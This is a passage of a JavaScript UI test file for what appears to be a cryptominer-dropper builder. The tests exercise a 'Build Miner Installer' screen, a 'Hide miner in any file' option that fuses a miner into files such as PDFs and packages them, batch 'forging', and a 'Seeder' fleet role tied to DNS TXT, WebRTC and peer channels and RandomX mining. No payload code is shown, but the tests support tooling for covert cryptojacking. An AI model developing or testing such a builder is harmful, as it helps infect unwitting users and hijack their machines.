expect(buildSpy.mock.calls[0][1]?.name).toBe('allowed.pdf');
|
|
expect(await screen.findByText(/blocked\.pdf — Fusion media exceeds size cap/i)).toBeInTheDocument();
|
|
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
|
|
preflightSpy.mockRestore();
|
|
});
|
|
|
|
it('selects fleet role seeder chip in advanced spread section', async () => {
|
|
const buildSpy = vi.spyOn(api, 'buildAgent');
|
|
const user = userEvent.setup();
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await user.click(screen.getByRole('button', { name: 'Advanced' }));
|
|
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
|
|
|
const seederChip = screen.getByRole('button', { name: 'Seeder' });
|
|
expect(seederChip).toHaveAttribute(
|
|
'title',
|
|
'LAN staging only — dns_txt/webrtc/do_peer, no RandomX',
|
|
);
|
|
await user.click(seederChip);
|
|
expect(seederChip.className).toMatch(/active/);
|
|
|
|
await user.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
|
await waitFor(() => expect(buildSpy).toHaveBeenCalled());
|
|
expect(buildSpy.mock.calls[0][0].fleet_role).toBe('seeder');
|
|
expect(screen.getByText(/Seeder skips mining/i)).toBeInTheDocument();
|
|
});
|
|
|
|
it('clears fusion batch queue after successful batch forge', async () => {
|
|
const user = userEvent.setup();
|
|
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
|
successfulBuild({
|
|
fusion_enabled: true,
|
|
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
|
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
|
}),
|
|
);
|
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Packaging', pct: 90 }),
|
|
}));
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
|
fireEvent.change(fusionBatchFileInput(), {
|
|
target: { files: [mockFusionFile('solo.pdf')] },
|
|
});
|
|
expect(await screen.findByText(/1 file queued/i)).toBeInTheDocument();
|
|
|
|
await user.click(screen.getByRole('button', { name: /Forge all 1 file/i }));
|
|
await waitFor(() => expect(screen.getByText(/Batch forged 1 file/i)).toBeInTheDocument());
|
|
expect(screen.queryByText(/1 file queued/i)).not.toBeInTheDocument();
|
|
expect(screen.queryByRole('button', { name: /Cancel Batch/i })).not.toBeInTheDocument();
|
|
});
|
|
});
|